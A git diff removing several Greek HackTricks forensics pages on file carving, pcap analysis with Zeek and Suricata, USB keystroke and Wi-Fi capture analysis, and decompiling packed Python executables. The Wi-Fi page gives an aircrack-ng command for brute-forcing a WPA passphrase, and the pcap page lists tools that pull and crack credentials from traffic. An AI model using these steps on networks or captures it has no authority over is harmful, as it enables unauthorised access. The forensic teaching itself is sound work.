Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει δισκοειδείς εικόνες και άλλου τύπου εικόνες, αλλά όχι απλά αρχεία.
## Binwalk <a id="binwalk"></a>
**Binwalk** είναι ένα εργαλείο για την αναζήτηση δυαδικών αρχείων όπως εικόνες και αρχεία ήχου για ενσωματωμένα αρχεία και δεδομένα. Μπορεί να εγκατασταθεί με `apt`, ωστόσο η [πηγή](https://github.com/ReFirmLabs/binwalk) μπορεί να βρεθεί στο github.
**Χρήσιμες εντολές**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
Ένα άλλο κοινό εργαλείο για να βρείτε κρυφά αρχεία είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε να αναζητήσετε συγκεκριμένα αρχεία, αποσχολιάστε τα. Αν δεν αποσχολιάσετε τίποτα, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που είναι ρυθμισμένοι.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
## **Scalpel**
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων \(_/etc/scalpel/scalpel.conf_\) τους τύπους αρχείων που θέλετε να εξάγει.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
## Bulk Extractor
Αυτό το εργαλείο έρχεται μέσα στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Πρέπει απλώς να κάνετε:
```text
bulk_extractor memory.img -o out_folder
```
Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο \(κωδικοί πρόσβασης;\), **αναλύστε** τα **πακέτα** \(διαβάστε [ **Ανάλυση Pcaps**](../pcap-inspection/index.html)\), αναζητήστε **παράξενους τομείς** \(τομείς που σχετίζονται με **malware** ή **μη υπάρχοντες**\).
## PhotoRec
Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec.
![](../../../images/image%20%28524%29.png)
# Ειδικά Εργαλεία Κατασκευής Δεδομένων
## FindAES
Αναζητά κλειδιά AES αναζητώντας τα χρονοδιαγράμματα κλειδιών τους. Ικανό να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker.
Κατεβάστε [εδώ](https://sourceforge.net/projects/findaes/).
# Συμπληρωματικά εργαλεία
Μπορείτε να χρησιμοποιήσετε [**viu** ](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,212 +0,0 @@
# Pcap Inspection
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> Μια σημείωση σχετικά με το **PCAP** και το **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP; **Το PCAPNG είναι πιο νέο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή κάποιο άλλο συμβατό εργαλείο, προκειμένου να εργαστείτε με αυτό σε άλλα εργαλεία.
## Online tools for pcaps
- Αν η κεφαλίδα του pcap σας είναι **κατεστραμμένη**, θα πρέπει να προσπαθήσετε να την **διορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- Εξαγάγετε **πληροφορίες** και αναζητήστε **malware** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com)
- Αναζητήστε **κακόβουλη δραστηριότητα** χρησιμοποιώντας [**www.virustotal.com**](https://www.virustotal.com) και [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
## Extract Information
Τα παρακάτω εργαλεία είναι χρήσιμα για την εξαγωγή στατιστικών, αρχείων κ.λπ.
### Wireshark
> [!NOTE]
> **Αν πρόκειται να αναλύσετε ένα PCAP, πρέπει βασικά να ξέρετε πώς να χρησιμοποιείτε το Wireshark**
Μπορείτε να βρείτε μερικά κόλπα του Wireshark στο:
{{#ref}}
wireshark-tricks.md
{{#endref}}
### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(μόνο linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξαγάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap, το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλα τα περιεχόμενα HTTP, κάθε κλήση VoIP (SIP), FTP, TFTP, κ.λπ.
**Εγκατάσταση**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
sudo apt-get update
sudo apt-get install xplico
```
**Εκτέλεση**
```
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
Η πρόσβαση στο _**127.0.0.1:9876**_ με διαπιστευτήρια _**xplico:xplico**_
Στη συνέχεια, δημιουργήστε μια **νέα υπόθεση**, δημιουργήστε μια **νέα συνεδρία** μέσα στην υπόθεση και **ανεβάστε το pcap** αρχείο.
### NetworkMiner
Όπως το Xplico, είναι ένα εργαλείο για **ανάλυση και εξαγωγή αντικειμένων από pcaps**. Έχει μια δωρεάν έκδοση που μπορείτε να **κατεβάσετε** [**εδώ**](https://www.netresec.com/?page=NetworkMiner). Λειτουργεί με **Windows**.\
Αυτό το εργαλείο είναι επίσης χρήσιμο για να αποκτήσετε **άλλες πληροφορίες που αναλύονται** από τα πακέτα προκειμένου να γνωρίζετε τι συνέβαινε με **ταχύτερο** τρόπο.
### NetWitness Investigator
Μπορείτε να κατεβάσετε [**NetWitness Investigator από εδώ**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Λειτουργεί σε Windows)**.\
Αυτό είναι ένα άλλο χρήσιμο εργαλείο που **αναλύει τα πακέτα** και ταξινομεί τις πληροφορίες με χρήσιμο τρόπο για να **γνωρίζετε τι συμβαίνει μέσα**.
### [BruteShark](https://github.com/odedshimon/BruteShark)
- Εξαγωγή και κωδικοποίηση ονομάτων χρηστών και κωδικών πρόσβασης (HTTP, FTP, Telnet, IMAP, SMTP...)
- Εξαγωγή κατακερματισμένων κωδικών αυθεντικοποίησης και σπάσιμο τους χρησιμοποιώντας το Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
- Δημιουργία οπτικού διαγράμματος δικτύου (Κόμβοι δικτύου & χρήστες)
- Εξαγωγή ερωτημάτων DNS
- Ανακατασκευή όλων των TCP & UDP Συνεδριών
- File Carving
### Capinfos
```
capinfos capture.pcap
```
### Ngrep
Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε **ngrep**. Ακολουθεί ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
### Carving
Η χρήση κοινών τεχνικών carving μπορεί να είναι χρήσιμη για την εξαγωγή αρχείων και πληροφοριών από το pcap:
{{#ref}}
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
### Capturing credentials
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) για να αναλύσετε διαπιστευτήρια από ένα pcap ή μια ζωντανή διεπαφή.
## Check Exploits/Malware
### Suricata
**Εγκατάσταση και ρύθμιση**
```
apt-get install suricata
apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
```
**Έλεγχος pcap**
```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
```
### YaraPcap
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) είναι ένα εργαλείο που
- Διαβάζει ένα αρχείο PCAP και εξάγει ροές Http.
- Το gzip αποσυμπιέζει οποιεσδήποτε συμπιεσμένες ροές
- Σαρώσει κάθε αρχείο με yara
- Γράφει ένα report.txt
- Προαιρετικά αποθηκεύει τα αρχεία που ταιριάζουν σε έναν φάκελο
### Malware Analysis
Ελέγξτε αν μπορείτε να βρείτε οποιοδήποτε αποτύπωμα γνωστού κακόβουλου λογισμικού:
{{#ref}}
../malware-analysis.md
{{#endref}}
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένας παθητικός, ανοιχτού κώδικα αναλυτής δικτυακής κίνησης. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Δίκτυο Ασφαλείας Monitor (NSM) για να υποστηρίξουν τις έρευνες για ύποπτη ή κακόβουλη δραστηριότητα. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της αποσφαλμάτωσης.
Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Επομένως, θα χρειαστεί να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τα αρχεία καταγραφής όπου οι **πληροφορίες** σχετικά με τα pcaps είναι.
### Connections Info
```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
10.55.100.100 65.52.108.225 443 tcp 86222.4
10.55.100.107 111.221.29.113 443 tcp 86220.1
10.55.100.110 40.77.229.82 443 tcp 86160.1
#Get the number of connections summed up per each line
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
10.55.100.100 65.52.108.225 1 86222.4
10.55.100.107 111.221.29.113 1 86220.1
10.55.100.110 40.77.229.82 134 86160.1
#Check if any IP is connecting to 1.1.1.1
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
#Get number of connections per source IP, dest IP and dest Port
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
# RITA
#Something similar can be done with the tool rita
rita show-long-connections -H --limit 10 zeek_logs
+---------------+----------------+--------------------------+----------------+
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
+---------------+----------------+--------------------------+----------------+
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
#Get connections info from rita
rita show-beacons zeek_logs | head -n 10
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
```
### Πληροφορίες DNS
```bash
#Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
#Get the number of times each domain was requested and get the top 10
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
#Get all the IPs
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
#Sort the most common DNS record request (should be A)
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
## Άλλες τεχνικές ανάλυσης pcap
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,14 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Αν έχετε ένα pcap μιας σύνδεσης USB με πολλές διακοπές, πιθανότατα είναι μια σύνδεση USB πληκτρολογίου.
Ένας φίλτρο wireshark όπως αυτός θα μπορούσε να είναι χρήσιμος: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
Είναι σημαντικό να γνωρίζετε ότι τα δεδομένα που ξεκινούν με "02" πατιούνται χρησιμοποιώντας shift.
Μπορείτε να διαβάσετε περισσότερες πληροφορίες και να βρείτε μερικά σενάρια σχετικά με το πώς να αναλύσετε αυτό σε:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Αν έχετε ένα pcap που περιέχει την επικοινωνία μέσω USB ενός πληκτρολογίου όπως το παρακάτω:
![](<../../../images/image (613).png>)
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) για να αποκτήσετε ό,τι γράφτηκε στην επικοινωνία:
```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```
Μπορείτε να διαβάσετε περισσότερες πληροφορίες και να βρείτε μερικά σενάρια σχετικά με το πώς να αναλύσετε αυτό σε:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,39 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# Έλεγχος BSSIDs
Όταν λάβετε μια καταγραφή της οποίας η κύρια κίνηση είναι Wifi χρησιμοποιώντας το WireShark, μπορείτε να αρχίσετε να ερευνάτε όλα τα SSIDs της καταγραφής με _Wireless --> WLAN Traffic_:
![](<../../../images/image (424).png>)
![](<../../../images/image (425).png>)
## Brute Force
Μία από τις στήλες της οθόνης αυτής υποδεικνύει αν **βρέθηκε οποιαδήποτε αυθεντικοποίηση μέσα στο pcap**. Αν αυτό ισχύει, μπορείτε να προσπαθήσετε να το σπάσετε με brute force χρησιμοποιώντας το `aircrack-ng`:
```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
```
Για παράδειγμα, θα ανακτήσει το WPA passphrase που προστατεύει ένα PSK (προ-μοιρασμένο κλειδί), το οποίο θα απαιτηθεί για να αποκρυπτογραφήσετε την κίνηση αργότερα.
# Δεδομένα σε Beacons / Παράπλευρη Κανάλι
Εάν υποψιάζεστε ότι **δεδομένα διαρρέουν μέσα σε beacons ενός Wifi δικτύου**, μπορείτε να ελέγξετε τα beacons του δικτύου χρησιμοποιώντας ένα φίλτρο όπως το παρακάτω: `wlan contains <NAMEofNETWORK>`, ή `wlan.ssid == "NAMEofNETWORK"` αναζητώντας μέσα στα φιλτραρισμένα πακέτα για ύποπτες αλυσίδες.
# Βρείτε Άγνωστες Διευθύνσεις MAC σε Ένα Wifi Δίκτυο
Ο παρακάτω σύνδεσμος θα είναι χρήσιμος για να βρείτε τις **μηχανές που στέλνουν δεδομένα μέσα σε ένα Wifi Δίκτυο**:
- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
Εάν ήδη γνωρίζετε **διευθύνσεις MAC μπορείτε να τις αφαιρέσετε από την έξοδο** προσθέτοντας ελέγχους όπως αυτόν: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Μόλις εντοπίσετε **άγνωστες διευθύνσεις MAC** που επικοινωνούν μέσα στο δίκτυο, μπορείτε να χρησιμοποιήσετε **φίλτρα** όπως το παρακάτω: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` για να φιλτράρετε την κίνησή τους. Σημειώστε ότι τα φίλτρα ftp/http/ssh/telnet είναι χρήσιμα αν έχετε αποκρυπτογραφήσει την κίνηση.
# Αποκρυπτογράφηση Κίνησης
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
![](<../../../images/image (426).png>)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,202 +0,0 @@
# Αποσυμπίεση των συμπιεσμένων εκτελέσιμων αρχείων python (exe, elf) - Ανάκτηση από .pyc
{{#include ../../../banners/hacktricks-training.md}}
## Από Συμπιεσμένο Εκτελέσιμο σε .pyc
Από ένα **ELF** συμπιεσμένο εκτελέσιμο μπορείτε να **πάρετε το .pyc** με:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
[(0, 230, 311, 1, 'm', 'struct'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
(15535, 2514, 4421, 1, 's', 'binary_name'),
...
? X binary_name
to filename? /tmp/binary.pyc
```
Σε ένα **python exe binary** που έχει μεταγλωττιστεί, μπορείτε να **πάρετε το .pyc** εκτελώντας:
```bash
python pyinstxtractor.py executable.exe
```
## Από .pyc σε κώδικα python
Για τα **.pyc** δεδομένα ("συμπιεσμένος" python) θα πρέπει να ξεκινήσετε προσπαθώντας να **εξαγάγετε** τον **αρχικό** **κώδικα** **python**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Βεβαιωθείτε** ότι το δυαδικό αρχείο έχει την **επέκταση** "**.pyc**" (αν όχι, το uncompyle6 δεν θα λειτουργήσει)
Κατά την εκτέλεση του **uncompyle6** μπορεί να συναντήσετε τα **παρακάτω σφάλματα**:
### Σφάλμα: Άγνωστος μαγικός αριθμός 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Για να το διορθώσετε, πρέπει να **προσθέσετε τον σωστό μαγικό αριθμό** στην αρχή του παραγόμενου αρχείου.
**Οι μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση της python**, για να αποκτήσετε τον μαγικό αριθμό της **python 3.8** θα χρειαστεί να **ανοίξετε ένα τερματικό python 3.8** και να εκτελέσετε:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
Ο **μαγικός αριθμός** σε αυτή την περίπτωση για python3.8 είναι **`0x550d0d0a`**, στη συνέχεια, για να διορθώσετε αυτό το σφάλμα θα χρειαστεί να **προσθέσετε** στην **αρχή** του **.pyc αρχείου** τα εξής bytes: `0x0d550a0d000000000000000000000000`
**Μόλις** έχετε **προσθέσει** αυτή την μαγική κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.**
Έτσι θα φαίνεται μια σωστά προστιθέμενη **.pyc python3.8 μαγική κεφαλίδα**:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### Σφάλμα: Αποσυμπίεση γενικών σφαλμάτων
**Άλλα σφάλματα** όπως: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` μπορεί να εμφανιστούν.
Αυτό πιθανώς σημαίνει ότι **δεν έχετε προσθέσει σωστά** τον μαγικό αριθμό ή ότι δεν έχετε **χρησιμοποιήσει** τον **σωστό μαγικό αριθμό**, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο).
Ελέγξτε την τεκμηρίωση σφαλμάτων.
## Αυτόματο Εργαλείο
Το [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) λειτουργεί ως συνδυασμός αρκετών εργαλείων διαθέσιμων στην κοινότητα που έχουν σχεδιαστεί για να βοηθήσουν τους ερευνητές στην αποσυμπίεση και αποσυμπίεση εκτελέσιμων αρχείων γραμμένων σε Python, συγκεκριμένα αυτών που δημιουργήθηκαν με py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για να προσδιορίσει αν ένα εκτελέσιμο είναι βασισμένο σε Python και επιβεβαιώνει το εργαλείο δημιουργίας.
### ImportError: Όνομα αρχείου: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' δεν υπάρχει
Ένα κοινό πρόβλημα που συναντάται περιλαμβάνει ένα ατελές αρχείο bytecode Python που προκύπτει από τη **διαδικασία αποσυμπίεσης με unpy2exe ή pyinstxtractor**, το οποίο στη συνέχεια **αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω έλλειψης αριθμού έκδοσης bytecode Python**. Για να αντιμετωπιστεί αυτό, έχει προστεθεί μια επιλογή prepend, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυμπίεσης.
Παράδειγμα του προβλήματος:
```python
# Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
...
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
```
```python
# Successful decompilation after using the prepend option
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
[*] On Python 2.7
[+] Magic bytes are already appended.
# Successfully decompiled file
[+] Successfully decompiled.
```
## Ανάλυση της συναρμολόγησης python
Αν δεν μπορέσατε να εξαγάγετε τον "αρχικό" κώδικα python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξαγάγετε** τη **συναρμολόγηση** (αλλά **δεν είναι πολύ περιγραφική**, οπότε **προσπαθήστε** να εξαγάγετε **ξανά** τον αρχικό κώδικα). Στο [εδώ](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για να **αποσυναρμολογήσετε** το _.pyc_ δυαδικό (καλή τύχη στην κατανόηση της ροής του κώδικα). Αν το _.pyc_ είναι από python2, χρησιμοποιήστε python2:
```bash
>>> import dis
>>> import marshal
>>> import struct
>>> import imp
>>>
>>> with open('hello.pyc', 'r') as f: # Read the binary file
... magic = f.read(4)
... timestamp = f.read(4)
... code = f.read()
...
>>>
>>> # Unpack the structured content and un-marshal the code
>>> magic = struct.unpack('<H', magic[:2])
>>> timestamp = struct.unpack('<I', timestamp)
>>> code = marshal.loads(code)
>>> magic, timestamp, code
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
>>>
>>> # Verify if the magic number corresponds with the current python version
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
True
>>>
>>> # Disassemble the code object
>>> dis.disassemble(code)
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 (hello_world)
9 LOAD_CONST 1 (None)
12 RETURN_VALUE
>>>
>>> # Also disassemble that const being loaded (our function)
>>> dis.disassemble(code.co_consts[0])
2 0 LOAD_CONST 1 ('Hello {0}')
3 LOAD_ATTR 0 (format)
6 LOAD_FAST 0 (name)
9 CALL_FUNCTION 1
12 PRINT_ITEM
13 PRINT_NEWLINE
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Python σε Εκτελέσιμο
Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν να μεταγλωττιστούν οι payloads σε py2exe και PyInstaller.
### Για να δημιουργήσετε μια payload χρησιμοποιώντας py2exe:
1. Εγκαταστήστε το πακέτο py2exe από [http://www.py2exe.org/](http://www.py2exe.org)
2. Για την payload (σε αυτή την περίπτωση, θα την ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό που φαίνεται στην Εικόνα 1. Η επιλογή “bundle_files” με την τιμή 1 θα συνδυάσει τα πάντα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα exe.
3. Μόλις το σενάριο είναι έτοιμο, θα εκδώσουμε την εντολή “python setup.py py2exe”. Αυτό θα δημιουργήσει το εκτελέσιμο, ακριβώς όπως στην Εικόνα 2.
```python
from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
options = {'py2exe': {'bundle_files': 1}},
#windows = [{'script': "hello.py"}],
console = [{'script': "hello.py"}],
zipfile = None,
)
```
```bash
C:\Users\test\Desktop\test>python setup.py py2exe
running py2exe
*** searching for required modules ***
*** parsing results ***
*** finding dlls needed ***
*** create binaries ***
*** byte compile python files ***
*** copy extensions ***
*** copy dlls ***
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### Για να δημιουργήσετε ένα payload χρησιμοποιώντας το PyInstaller:
1. Εγκαταστήστε το PyInstaller χρησιμοποιώντας το pip (pip install pyinstaller).
2. Μετά από αυτό, θα εκδώσουμε την εντολή “pyinstaller onefile hello.py” (υπενθύμιση ότι το hello.py είναι το payload μας). Αυτό θα συγκεντρώσει τα πάντα σε ένα εκτελέσιμο αρχείο.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
108 INFO: Python: 2.7.14
108 INFO: Platform: Windows-10-10.0.16299
………………………………
5967 INFO: checking EXE
5967 INFO: Building EXE because out00-EXE.toc is non existent
5982 INFO: Building EXE from out00-EXE.toc
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
## Αναφορές
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,41 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Εδώ μπορείτε να βρείτε ενδιαφέροντα κόλπα για συγκεκριμένους τύπους αρχείων και/ή λογισμικό:
{{#ref}}
.pyc.md
{{#endref}}
{{#ref}}
browser-artifacts.md
{{#endref}}
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
{{#ref}}
local-cloud-storage.md
{{#endref}}
{{#ref}}
office-file-analysis.md
{{#endref}}
{{#ref}}
pdf-file-analysis.md
{{#endref}}
{{#ref}}
png-tricks.md
{{#endref}}
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
{{#ref}}
zips-tricks.md
{{#endref}}
